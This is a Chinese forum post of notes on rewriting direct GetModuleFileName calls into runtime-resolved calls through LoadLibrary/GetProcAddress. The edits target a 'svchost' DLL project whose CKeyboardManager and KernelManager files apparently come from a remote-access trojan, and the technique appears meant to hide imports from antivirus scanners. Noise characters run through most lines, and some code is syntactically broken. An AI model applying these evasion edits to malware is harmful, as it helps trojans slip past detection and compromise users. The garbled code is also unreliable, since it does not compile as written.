[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
3 e* [: U# c' n* }- z+ }& |svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) I8 q  {7 d5 F* z
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; x4 @# U' \! ^- gDTDY.h：
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#if _MSC_VER>1000
" T$ l6 ~$ F  g#pragma once" N; o$ [# B# l  d2 v1 ?
#endif //_MSC_VER>1000
$ W) j! @0 D. A% j! o#include<windows.h>! i* _# w& o( E
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 Q' E# t& {( }" ]! I
class DTDY+ L) D- v4 b7 `/ F+ g( K! m
{
1 X) Q; N) u' f: G/ _public:
! D4 a, B# Z4 z* T+ F6 ~: QDTDY();+ _6 @1 A+ X* Y+ _0 J1 X+ V
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
/ H, ]; @1 z. k1 l- d% Rstatic BOOL FunInitiallization();
  _  u8 D$ `+ c};
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% H4 {' z0 G) qDTDY.cpp:
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; q* d9 {8 O/ X9 l- k" z# v#include "DTDY.h"* v% Y' z: f7 ^5 p( v
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
5 x2 @8 ~7 s$ A4 m5 f  d; RDTDY:TDY(): J6 ]7 q2 S0 j  b9 P0 g* }* q/ l, w
{
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DTDY::~DTDY()/ M1 s. m3 ]% n: F& R
{
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BOOL DTDY::FunInitiallization(). w# a8 ~1 ^! i0 L& z- C
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HMODULE hModule=LoadLibrary("kernel32.dll");
9 I' U) ]% i5 e1 L0 B/ l, nMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
; Y8 n+ X  R, Q& lif(!MyGetModuleFileName=) return FALSE;, C0 D  Y6 v7 K, w- J- x. o

' L) Q1 I: {/ jreturn TRUE;
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/ c; G. @" }4 o# F8 _# r& U& o, `svchost.cpp:
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#include "DTDY.h"0 N) `4 V  H' N

# T/ L$ x- j0 y4 A% K  P- D( b* qBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call), u6 U  b; X6 y
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case DLL_PROCESS_ATTACH:
  b4 t: l; A! F1 P/ aif(!DTDY::FunInitiallization()) return FALSE;
# ~3 F7 {, p' i/ s; Z. \& U
4 N) S9 R& v$ ]9 b" s5 v$ Cbreak;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
( t5 }# p) t2 O4 e改写为
" K7 m* o/ F1 ^6 W2 ^) FDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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# v  i, T1 b* o$ p  ?# ]KernelManager.cpp:( S+ ~1 Z9 }( o3 h8 c
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#include "../DTDY.h"
+ ?3 _" |6 w' I/ EGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
$ ~( T- i" ^; Y& X2 L7 j' \改写为
2 N& X3 f9 g0 S$ H6 D' oDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));1 ~5 _; K) K& a4 M
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